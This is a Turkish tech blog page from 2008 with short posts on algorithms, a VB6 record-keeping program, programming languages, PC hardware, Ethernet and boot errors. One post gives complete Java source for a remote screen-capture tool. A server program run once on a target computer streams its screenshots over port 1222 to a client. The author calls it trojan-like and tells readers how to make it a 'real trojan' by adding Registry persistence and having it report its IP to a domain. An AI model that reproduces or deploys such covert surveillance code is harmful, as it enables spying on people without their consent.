Tarih 08-07-2008
Kategori (Yazılım) Yazan admin

Algoritma Nedir?

Bir problemin ideal çözümüne giden yola algoritma denir. Yazılacak programın dili değil de, algoritması en önemli kısmıdır. Programı çalıştıracak algoritmayı en iyi şekilde çözümledikten sonra, kullanılacak dilin yapısına göre kodlama aşamasına geçilir.

Programlama ihtiyacı duyulan her konuda, çözümleri koda aktarırken en temel algoritmalar kullanılır. Örneğin bir listenin sıralanması işleminde, sıralama algoritması kullanılmalıdır. Veya bir liste içinde en yüksek sayısal değeri bulmak için programcı en büyük elemanı bulma algoritmasını kullanmalıdır.

Algoritma belirli bir görevi yerine getiren sonlu sayıdaki işlemler dizisidir.
Her algoritma aşağıdaki kriterleri sağlamalıdır:

Girdi: Sıfır veya daha fazla değer dışarıdan verilmeli.
Çikti: En azından bir değer üretilmeli.
Açiklik: Her işlem (komut) açık olmalı ve farklı anlamlar içermemeli.
Sonluluk: Her türlü olasılık için algoritma sonlu adımda bitmeli.
Etkinlik: Her komut kişinin kalem ve kağıt ile yürütebileceği kadar basit olmalıdır.
Her program için sonluluk özelliği geçerli değildir. Örneğin isletim sistemleri sonsuza dek çalışan programlara örnektir.

Bir dizi içerisindeki en büyük sayıyı bulmak için izlenecek yol şu şekilde olabilir:

Dizinin ilk elemanı en büyük sayı kabul edilir.
Bir sonraki eleman ile karşılaştırılır.
Eğer karlılaştırılan eleman daha büyükse, artık en büyük eleman odur.
Dizi sonlana kadar bu işleme devam edilir.
En küçük elemanı bulmak için ise yine benzer bir yöntem izlenir.

Dizinin ilk elemanı en küçük sayı kabul edilir.
Bir sonraki eleman ile karşılaştırılır.
Eğer karlılaştırılan eleman daha küçükse, artık en küçük eleman odur.
Dizi sonlana kadar bu işleme devam edilir.
Algoritma belirli bir görevi yerine getiren sonlu sayidaki islemler dizisidir.
Her algoritma asagidaki kriterleri saglamalidir.

Girdi: Sifir veya daha fazla deger disaridan verilmeli.
Çikti: En azindan bir deger üretilmeli.
Açiklik: Her islem (komut) açik olmali ve farkli anlamlar içermemeli.
Sonluluk: Her türlü olasilik için algoritma sonlu adimda bitmeli.
Etkinlik: Her komut kisinin kalem ve kagit ile yürütebilecegi kadar basit olmalidir.
Her program için sonluluk özelliği geçerli değildir. Örneğin isletim sistemleri sonsuza dek çalisan programlara örnektir.

Örnek: 1′den 100′e kadar olan sayilarin toplamini veren algoritma.

Toplam T, sayilar da i diye çagirilsin.
Baslangiçta T’nin degeri 0 ve i’nin degeri 1 olsun.
i’nin degerini T’ye ekle.
i’nin degerini 1 arttir.
Eger i’nin degeri 100′den büyük degil ise 3. adima git.
T’nin degerini yaz.
Algoritmaların yazim dili değişik olabilir. Günlük konuşma diline yakın bir dil olabilecegi gibi simgelere dayalı da olabilir. Akış şeması eskiden beri kullanıla gelen bir yapıdır. Algoritmayı yazarken farklı anlamlar taşıyan değişik şekildeki kutulardan yararlanılır. Yine aynı amaç için kullanılan programlama diline yakın bir (sözde kod = pseudo code) dil , bu kendimize özgü de olabilir, kullanılabilir.

Aynı algoritmayı asağıdaki gibi yazabiliriz:

T=0 ve i=0
i’nin degerini T’ye ekle.
i’yi 1 arttir.
i<101 ise 2.adıma git.
T’nin değerini yaz.
Algoritmayı bir de akış şemasi ile gerçekleyelim.


 

Örnek : ax 2 +bx+c=0 tipi bir denklemin köklerini veren algoritma.

Girdi : a, b ve c katsayilari Çikti : denklemin kökleri
a, b ve c katsayilarini al.
D = b 2 -4ac degerini hesapla.
D<0 ise gerçel kök yok. 7. adima git.


 
 
değerlerini yaz.
Dur.

Alıntıdır…

(0) Yorum    Devamn oku   
Tarih 08-07-2008
Kategori (Yazılım) Yazan admin

Text1′e yazılan bir ismi kaydet butonuna basınca kaydeder. Text2′ye bir sayı yazıldıktan sonra sorgula butonuna basınca text3′te girdiğiniz sayının karşılığı olan kayıt gelir. tümünü göster butonuna basınca bütün kayıtları gösteriri. bu basit bir programdır. işlemler menüsünde kaydet, sorgula ,tümünü göster bölümlerinden ilk ğnce kaydetme butonu seçme şartıyla daha sonra istediği bölümü seçer. menüden işlem girmen gerekiyo çünkü başta text ve command kutuları gözükmüyor… bu 1000 kişilik bir kayıt sistemidir

Dim i As Integer
Dim veri(1000) As String

Private Sub Command1_Click()
veri(i) = Text1.Text
Text1.Text = “”
i = i + 1
End Sub

Private Sub Command2_Click()
Text3.Text = veri(Text2.Text)
End Sub

Private Sub Command3_Click()

Timer1.Enabled = True
i = 0
End Sub

Private Sub Form_Load()

Text1.Visible = False
Command1.Visible = False
Text2.Visible = False
Text3.Visible = False
Command2.Visible = False
Text4.Visible = False
Command3.Visible = False
Timer1.Interval = 100
Timer1.Enabled = False

i = 0
End Sub

Private Sub mnukaydettem_Click()
Text1.Visible = True
Command1.Visible = True
End Sub

Private Sub mnusorgulatem_Click()
Text2.Visible = True
Text3.Visible = True
Command2.Visible = True
End Sub

Private Sub mnutümkayıtlartem_Click()
Text4.Visible = True
Command3.Visible = True

End Sub

Private Sub Timer1_Timer()
Text4.Text = Text4.Text & veri(i)
i = i + 1
End Sub

(0) Yorum    Devamn oku   
Tarih 08-07-2008
Kategori (Yazılım) Yazan admin

Bu program sadece bir uygulamadır. Program sonuçta bir trojan gibi çalışabilir, ancak uzak bilgisayarın IP’sini bilmeden ekran görüntüsünü alamazsınız, Çalıştığı bilgisayarın IP’sini standart bir domain üzerine bağlanarak bilgi vermesini isteyebilirsiniz. Ayrıca her açıldığında tekrar çalışması için Registry üzerine de kaydedebilirsiniz. bunu yaptığınız takdirde elinizde gerçek bir trojan olacaktır. çalışma sırasında port açarken güvenlik duvarı tarafından uyarı alabilirsiniz, bu tür durumları göz önünde bulundururarak çalışmanızı diliyorum.

Öncelikle uzak bilgisayarda çalıştırmanız gereken programı derlemelisiniz. bu dosyayı Jar haline getirdikten sonra uzak bilgisayarda bir defa çalıştırmanız yeterlidir.


import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGEncodeParam;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import com.sun.imageio.plugins.jpeg.JPEG;
import java.net.ServerSocket;
import java.net.Socket;
import java.io.OutputStream;
import java.awt.Toolkit;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Dimension;
import java.awt.image.BufferedImage;
public class resimgonder extends Thread implements Runnable {
    private ServerSocket server=null;
    public resimgonder() {
        try{
            server=new ServerSocket(1222);
        }
        catch(Exception ex){
            ex.printStackTrace();
        }
    }
    public void run(){
        
    try{
        Robot r=new Robot();
        Toolkit tk=Toolkit.getDefaultToolkit();
        Dimension dim=tk.getScreenSize();
        Rectangle rect=new Rectangle(dim);
        while(true){
            try{
                Socket socket=server.accept();
                OutputStream osw=socket.getOutputStream();
                BufferedImage bi=r.createScreenCapture(rect);
                JPEGEncodeParam enc=JPEGCodec.getDefaultJPEGEncodeParam(bi);
                enc.setQuality(10,false);
                JPEGImageEncoder ienc=JPEGCodec.createJPEGEncoder(osw);
                ienc.encode(bi,enc);
                osw.flush();
                socket.close();
            }
            catch(Exception ex){
                ex.printStackTrace();
            }
        }
        }
        catch(Exception es){
            es.printStackTrace();
        }
    }
    public static void main(String args[]){
        try{
            resimgonder r=new resimgonder();
            r.start();
        }
        catch(Exception ex){
            ex.printStackTrace();
        }
    }
}

şimdi sıra uzak bilgisayardaki görüntüyü kendi bilgisayarınıza taşımanıza geldi, programı çalıştırdığınız bilgisayarın IP’sini biliyorsanız aşağıdaki kodu çalıştırırken ilgili IP’yi yazarak görüntüyü alabilirsiniz.

Öncelikle bir resimkutusu sınıfı yaratalım
picturebox.java

import java.awt.image.BufferedImage;
public class picturebox extends javax.swing.JPanel {
public javax.swing.ImageIcon bi=null;
public void setBi(javax.swing.ImageIcon bi){
    this.bi=bi;
    repaint();
}
public javax.swing.ImageIcon getBi(){
    return this.bi;
}
    public picturebox() {
    
    }
    @Override
    public void paint(java.awt.Graphics g){
        if(bi!=null){
            g.drawImage(bi.getImage(),0,0,this.getWidth(),this.getHeight(),this);
        }
        else{
            g.drawString(”No Image”,5,5);
        }
    }
}

daha sonra resimalma işlemini yapan sınıfı yazmallıyız

resimal.java

import java.net.Socket;
import java.io.InputStream;
import javax.swing.ImageIcon;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
public class resimal extends Thread implements Runnable {
    private String host=null;
    private picturebox picturebox1=null;
    public resimal(String host,picturebox picturebox1) {
        this.host=host;
        this.picturebox1=picturebox1;
    }
    public synchronized void run(){
        while(true){
            try{
                    Socket socket=new Socket(host,1222);
                    InputStream isr=socket.getInputStream();
                    BufferedImage bi=ImageIO.read(isr);
                    ImageIcon ic=new ImageIcon(bi);
                    picturebox1.setBi(ic);
                    socket.close();
            }
            catch(Exception ex){
                ex.printStackTrace();
            }
        }
    }
}

şimdi sıra son uygulamamızda

Form.java

import java.net.*;
import java.io.*;
import javax.imageio.*;
import javax.swing.*;
import java.awt.*;
import java.awt.image.*;
public class Form extends javax.swing.JFrame {
private javax.swing.JButton button;
    private javax.swing.JTextField IP;
    private picturebox picturebox1;
    
    public Form() {
        this.setLayout(null);
        button = new javax.swing.JButton(”GORUNTU IZLE”);
        button.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                resimCagir(evt);
            }
        });
        
        IP = new javax.swing.JTextField();
        picturebox1 = new picturebox();
        picturebox1.setBorder(javax.swing.BorderFactory.createEtchedBorder());
        
        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        
        button.setBounds(20,50,100,30);
        IP.setBounds(130,50,200,30);
        picturebox1.setBounds(20,50,640,480);
        
        this.add(button);
        this.add(IP);
        this.add(picturebox1);
    }
    private void resimCagir(java.awt.event.ActionEvent evt) {
        resimal r=new resimal(IP.getText(),picturebox1);
        r.start();
    }
    public static void main(String args[]) {
                Form f=new Form();
                f.setSize(800,600);
                f.setVisible(true);
    }
}


geliştirmelerle yolunuza devam etmenizi diliyorum kolay gelsin.

(0) Yorum    Devamn oku   
Tarih 08-07-2008
Kategori (Yazılım) Yazan admin

Programlama dili; Bilgisayar bilimleri dâhilinde bir bilgisayarın programlanması için geliştirilen bir dildir. Bilgisayar aslında sadece donanımsal yapıdan oluşan bir elektronik cihazdır. Bilgisayarın içerisinde manyetik etki alanı tutabilen bazı donanımsal yapılar vardır ( sabit disk ). İlgili manyetik etki alanı tutabilen donanımsal yapılara, dış ortamdan manyetik alan atanabilir veya silinebilir. Bunlar tamamen elektriksel sinyaller ile gerçekleştirilir.

Manyetik etki alanlarını küçük elektrik sinyallerine dönüştüren ve bilgisayar için anlamlı bir yapıda sisteme gönderen bilgisayar içindeki çevre birimleri, manyetik alanlardan anlamlı bazı çatılar oluşturur. Bu işlemleri gerçekleştiren çeşitli donanımsal yapılar bilgisayar içerisinde mevcuttur. Aslında bilgisayarın ne yapması gerektiğini bu manyetik alanlar belirler. Her şey bu manyetik alanların nasıl doldurulduğu ile ilgilidir. İşte bu noktada ortaya yazılım dilleri çıkar.
Bilgisayarları nasıl bir manyetik alanla doldurursak, ilgili manyetik alan yığdığımız noktaya gelindiğinde yığını nasıl anlarsa o şekilde yürütecektir.
Kullanmış olduğumuz programlama dilinde yazmış olduğumuz komutun ilgili donanım kaynağında bir karşılığı bulunur. Aslında yazılım olarak yaptığımız tek şey donanım kaynaklarını kullanmaktır. Ancak yazılımcıların çoğu bunu fark etmez çünkü yazılım kendi içerisinde iki ana gruba ayrılır. Bunlardan birincisi İşletim Sistemleri ve ikincisi Uygulama Yazılımlarıdır. İşletim sistemler donanıma en temelden erişen yazılımlardır, Windows ve Linux gibi. En temelden donanım kaynaklarını kullanmak çok zordur. Bizim yapacağımız ve birçoğunun yaptığı şey kurulu bir platform üzerinde uygulamalar geliştirmektir, yani uygulama yazılımı geliştirmektir.

İşletim sistemleri donanım kaynaklarına uyumlu olmak zorundadır, nasıl ki uyumlu olmayan bir parça taktığınız zaman ilgili donanımı tanıması için bir sürücü yazılımı yüklemeniz gerekiyorsa, aynı şekilde işletim sisteminin de donanım kaynaklarına erişebilmesi ve yönetebilmesi gerekir. Bir işletim sisteminin kalitesi, donanım kaynaklarını ne kadar performanslı ve verimli yönetebildiğine bağlıdır.

Aynı şartlar altında bir uygulama yazılımı da işletim sistemine uyumlu olmak zorundadır. Eğer işletim sistemine uyumlu olmayan bir uygulama yazılımı geliştirirseniz, yazılımınız ilgili işletim sisteminde çalışmayacaktır.

Programlama dilleri ise bilgisayar içerisinde az önce bahsi geçen süreci kolaylaştıran bir tekniktir. Bilgisayar içerisindeki komutları bazı terimlerle isimlendirerek bir söz dizimi yaratılmıştır. Kendi içerisinde bir dil gibidir, kuralları, yazım sitili, işaretleri ve sıralamaları vardır. Yazılım dilleri sayesinde bilgisayara yapmasını istediğimiz bir işi satırlarca işlemler gerçekleştirerek değil de sadece tek bir komut uygulayarak da gerçekleştirebiliriz. Programlama dilleri, donanım ile insan arasında, programlama açısından bir köprü görevi üstlenir.

Programlama dillerinin kalitesi; kullanışlı, kolay ve en önemlisi problemi olabildiğince basit çözebilme yeteneğine bağlıdır. Problem büyüdükçe karmaşıklaşmamalıdır.

(0) Yorum    Devamn oku   
Tarih 08-07-2008
Kategori (Bilgisayar Donanım) Yazan admin

Bir bilgisayardaki elektronik devreler 5 ve 12 V’ luk DC ile çalışır. Şebekenin 220 V’ luk AC akımını bu gerilime çeviren güç kaynağıdır. Power Supply’a bilgisayar kasasının ön tarafındaki açma/kapama düğmesi kumanda eder. İlk PC’ lerde 63.5 W’lık güç kaynağı kullanılmaktaydı. Günümüzde ise bilgisayarın özelliğine göre 150-375 W arasındaki güç kaynakları kullanılır. Güç kaynağından çıkan kablo uçlarındaki soket yardımıyla anakart, disket, harddisk ve CD-ROM sürücüye bağlanabilir.

(0) Yorum    Devamn oku   
Tarih 08-07-2008
Kategori (Bilgisayar Donanım) Yazan admin

 Monitöre baktığımızda görüntülerin oluştuğu cam kısım resim tüpüdür ve çoğunlukla ekran adı verilir. Bir  ekranın büyüklüğü köşeden köşeye inç olarak uzunluğu ile tanımlanır. Piyasada 14, 15, 17 ve 21 inçlik monitörler bulunur.
   Bir monitörün resim tüpünün çalışma prensibi, TV’nin çalışması ile aynıdır. Ekranın iç yüzeyindeki fosfor tabakasına yönlendirilen elektron demeti bu tabakaya çarpar. Fosforun çarptığı nokta beyaz çarpmadığı nokta siyah olur. Böylece ekranda siyah beyaz noktaların yoğunluğuyla oluşan resim oluşur. Renkli ekranlarda ise iç yüzey farklı renkte (kırmızı, yeşil, mavi) fosfor tabakasıyla kaplıdır. Milyonlarca renk hücresinden ekran hücresinden oluşan ekran üzerindeki bir renk hücresini parlatmak için o hücreye elektron göndermek gerekir. Bu işlem elektron tabancası içine yerleştirilen özel delikli maske tarafından sağlanır. Hangi renk hücresine elektron
çarptıysa o renk bir nokta olarak ekranda görülür. Ekranın yüzeyinde farklı yerlere çarpan  bu elektronlar görüntüyü oluşturur.
    Ekran yüzeyindeki resim hücrelerine piksel adı verilir. Bitişik iki hücre arasındaki mesafe ne kadar az ise ekranda resim o kadar kaliteli görülür. Piyasada bulunan monitörlerin pikselleri arasındaki mesafe 0.39 veya 0.28 mm’dir.
    Ekran kalitesini sadece piksel sayısı değil, düşey tarama frekansıda etkiler. Elektron demetinden çıkan bir elektron ekrandaki fosfor tabakasına  çarpınca oradaki hücrede bir ışıldama olduğunu söylemiştik. Eğer o ışıldamanın devam etmesi gerekiyorsa yeni bir elektron daha gönderilmesi gerekir. Resim hücresine gönderilen elektron ne kadar  sık gönderilirse ekrandaki titreme o kadar az olur. Gözün titremeyi hissedememesi için elekt-
ronun saniyede en az 60 kez tazelenmesi gerekir. Piyasada düşey tarama frekansı 60-120 Hz arası değişen monitörler bulunur. 70 Hz düşey tarama frekansı olan monitör oldukça iyi görüntü verir.
     Ekrandaki görüntünün kalitesini  etkileyen faktörlerden biriside ekran kartıdır.

(0) Yorum    Devamn oku   

A.a) Virüslerin Tarihi 

            lk virüs ne zaman, nerede ortaya çıktı? Bir programın başka bir bilgisayara aktarılması ve bulaşması fikri 1970’lere kadar gitse de 1987 yılında Delaware üniversitesinde birkaç düzüne diskette ortaya çıkan “brain”(beyin) adlı virüs ilk virüs olarak kabul edilir.

 A.b) Virüs Nedir?

 Günümüzde “bilgisayar virüsü” tanımlaması artık belâ ile eş anlamlı tutulmaktadır. En basit şekilde bilgisayar virüsleri boyut olarak çok küçük program parçacıkları olup çoğu zaman kendi başlarına bulunmamaktadırlar. Saklanma amacıyla kendilerini genelde yayılabilecekleri yani çalıştırılabilir dosyaların arkasına eklerler.  Devamn oku »

(0) Yorum    Devamn oku   
Tarih 01-07-2008
Kategori (Network) Yazan admin

Ethernetin koaksiyel kullanan ilk versiyonları yaygın kullanım alanı bulmuştu. Ancak fiziksel bus topoloji kullanmaları kablonun bir noktasında oluşan arızanın ağın tamamını çökertmesine sebep oluyordu. Ayrıca koaksiyel kablo UTP kabloya göre daha pahalıydı. 1990 yılında IEEE yeni bir ethernet standardı ortaya koyarak bu iki problemi de giderdi:10BaseT.

Devamn oku »

(0) Yorum    Devamn oku   
Tarih 01-07-2008
Kategori (Bilgisayar Donanım) Yazan admin

Bu durumda sabitdisk üzerinde işletim sistemi bulunamamıştır. İşletim sistemine ait bir dosyayı (örneğin, IO.SYS, MSDOS.SYS) silmiş olabilirsiniz veya sabitdiskin açılış sektörü arızalanmıştır. Bu hata mesajının nedeni bir virüs de olabilir.

1. İlk olarak bilgisayarı bir kez daha kapatın.

2. İlk yardım veya Windows açılış disketini sürücüye yerleştirin ve bilgisayarı tekrar çalıştırın.

3. Bilgisayar disketten açıldıktan sonra A: sürücüsünü gösteren DOS komut satırı ekrana gelecektir. şimdi “sys C:” yazın ve bu sürücüye geçmek için [Enter] tuşuna basın. Bu sayede sabitdiske yeni bir açılış sektörü yazılacak ve sistem dosyaları yeniden yükleneceklerdir.

4. şimdi, üzerinde DOS anti virüs yazılımı bulunan bir disket yerleştirin ve sabitdiski tarayın. Devamn oku »

(0) Yorum    Devamn oku   
Tarih 01-07-2008
Kategori (Bilgisayar Donanım) Yazan admin

Uyarı seslerinin ve hata mesajlarının açıklaması çok kolaydır. Bilgisayarın açılışı sırasında çalıştırılan BIOS’un POST (Power On Self Test) fonksiyonu hataları tespit eder ve buna uygun olarak mesaj verir. Video sisteminden kaynaklanan hataların ise görsel uyarı mesajları ile bildirilmesi mümkün değildir. Bu nedenle PC hoparlörlerinden, genel olarak beep code olarak adlandırılan uyarı sesleri çıkartılır. Devamn oku »

(0) Yorum    Devamn oku